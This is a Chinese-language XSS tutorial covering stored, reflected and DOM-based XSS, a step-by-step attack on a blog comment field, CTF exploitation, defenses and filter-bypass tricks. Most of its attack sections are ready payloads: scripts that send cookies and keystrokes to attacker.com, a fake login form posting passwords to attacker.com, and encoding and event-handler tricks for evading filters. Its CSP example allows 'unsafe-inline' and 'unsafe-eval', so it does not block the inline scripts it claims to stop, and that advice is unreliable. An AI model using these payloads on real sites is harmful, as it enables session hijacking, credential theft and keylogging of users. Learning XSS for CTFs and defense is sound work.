文章目录
一、什么是XSS?
XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。
二、XSS分类与场景
-
存储型XSS(Stored XSS)
-
特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。
-
影响范围:所有访问受影响页面的用户。
-
示例 :
html<script>alert('XSS');</script> // 提交到评论区,所有用户加载时触发弹窗
-
-
反射型XSS(Reflected XSS)
-
特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。
-
触发条件:用户需点击构造的恶意链接。
-
示例 :
urlhttp://victim.com/search?q=<script>alert(document.cookie)</script>`
-
-
DOM型XSS(DOM-Based XSS)
-
特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。
-
常见场景 :通过
location.hash
、document.write
等动态修改DOM。 -
示例:
JavaScript// 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>
-
三、XSS攻击实战流程
目标场景:某博客平台的评论功能存在存储型XSS漏洞。
步骤1:探测注入点
-
在评论区提交测试Payload:
html<script>alert(1)</script>
-
若页面弹窗,确认漏洞存在。
步骤2:窃取用户Cookie
-
构造Payload将Cookie发送至攻击者服务器:
html<script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
-
攻击者服务器(
attacker.com
)记录窃取的Cookie,用于会话劫持。
步骤3:钓鱼攻击
-
伪造登录表单诱导用户输入密码:
html<div style="display:none" id="phish"> <form action="http://attacker.com/log" method="POST"> <input type="password" name="password"> <input type="submit" value="Login"> </form> </div> <script>document.getElementById('phish').style.display='block';</script>
步骤4:键盘记录
-
监听用户输入并回传数据:
html<script>document.addEventListener('keypress', (e) => { fetch('http://attacker.com/keylog?key=' + e.key); }); </script>
四、CTF中的XSS利用
-
窃取管理员Cookie获取Flag
-
题目场景:留言板存在XSS,管理员会查看留言。
-
Payload:
html<script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script>
-
攻击者服务器接收管理员Cookie中的Flag。
-
-
DOM型XSS绕过过滤
-
题目过滤了
<script>
标签,但允许img
标签:html<img src=x onerror="alert(1)">
-
利用事件处理器(如
onerror
、onload
)执行代码。
-
-
利用伪协议
-
通过
javascript:
协议触发XSS:htmlhttp://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>
-
五、XSS防御方案
-
输入过滤与输出编码
-
对用户输入的特殊字符(
<
,>
,&
,'
,"
)进行HTML实体编码:php// PHP示例 echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
-
避免直接使用
innerHTML
,优先使用textContent
。
-
-
内容安全策略(CSP)
-
通过HTTP头限制脚本来源:
httpContent-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
-
-
设置HttpOnly标志
-
Cookie中标记
HttpOnly
,防止JavaScript读取:httpSet-Cookie: session=abc123; HttpOnly; Secure
-
-
框架自动防护
- 使用现代前端框架(如React、Vue),默认对动态内容进行转义。
六、绕过过滤的常见技巧
-
大小写混淆:
html<ScRiPt>alert(1)</sCriPt>
-
编码绕过:
-
HTML实体编码:
html<img src=x onerror="alert(1)">
-
JavaScript Unicode编码:
javascript\u0061\u006c\u0065\u0072\u0074(1)
-
-
利用标签属性:
html<svg/onload=alert(1)> <iframe src="javascript:alert(1)">
七、实战练习资源
- PortSwigger XSS Labs
- XSS挑战游戏
- XSS Game(Google):https://xss-game.appspot.com
- CTF平台
- Hack The Box, CTFlearn中的Web题目。
总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。